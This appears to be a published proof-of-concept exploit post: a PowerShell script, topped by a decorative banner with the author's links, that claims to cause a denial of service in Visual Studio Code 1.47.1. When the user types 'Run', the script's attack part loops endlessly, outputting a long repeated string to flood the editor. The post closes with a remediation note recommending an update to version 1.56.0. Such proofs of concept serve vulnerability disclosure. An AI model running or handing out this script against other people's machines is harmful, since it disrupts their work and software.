Authored by H.H.A.Ravindu Priyankara

Visual Studio Code version 1.47.1 suffers from a denial of service vulnerability.

# Exploit Tittle: Visual Studio Code 1.47.1 - Denial of Service (Poc)
# Exploit Author: H.H.A.Ravindu Priyankara
# Category: Denial of Service(DOS)
# Tested Version:1.47.1
# Vendor: Microsoft
# Software Download Link:https://code.visualstudio.com/updates/

Write-Host "
* *
*-------------------------------------------------------------------------------------------------------*
| |
|" -ForegroundColor Yellow -NoNewline; Write-Host " Exploit Tittle :-" -ForegroundColor Green -NoNewline; Write-Host " Visual Studio Code (VS Code) Denial of Service " -ForegroundColor Cyan -NoNewline; Write-Host " |
| |
|" -ForegroundColor Yellow -NoNewline; Write-Host " Author :-" -ForegroundColor Green -NoNewline; Write-Host " H.H.A.Ravindu.Priyankara " -ForegroundColor Cyan -NoNewline; Write-Host " |
| |
|" -ForegroundColor Yellow -NoNewline; Write-Host " Github :-" -ForegroundColor Green -NoNewline; Write-Host " https://github.com/Ravindu-Priyankara " -ForegroundColor Cyan -NoNewline; Write-Host " |
| |
|" -ForegroundColor Yellow -NoNewline; Write-Host " Youtube :-"-ForegroundColor Green -NoNewline; Write-Host " https://www.youtube.com/channel/UCKD2j5Mbr15RKaXBSIXwvMQ " -ForegroundColor Cyan -NoNewline; Write-Host " |
| |
|" -ForegroundColor Yellow -NoNewline; Write-Host " Linkedin :-"-ForegroundColor Green -NoNewline; Write-Host " https://www.linkedin.com/in/ravindu-priyankara-b77753209/ " -ForegroundColor Cyan -NoNewline; Write-Host " |
*-------------------------------------------------------------------------------------------------------*"-ForegroundColor Yellow

[string]$Userinpts = Read-Host -Prompt "Enter Run or Stop:-"
if ($Userinpts -eq "Run") {
Write-Output "Yeah I Know"
while ($True) {
$name = "AAAAAAA"
$name * 1000000
}
#or
#$name = "AAAAAAA"
#$name * 1000000
}
if ($Userinpts -eq "Stop") {
exit
}

#==========================================================
#==================== solution ============================
#==========================================================

#Update Your Visual Studio Code Application
# 1.47.1 version ==> 1.56.0 version

#==========================================================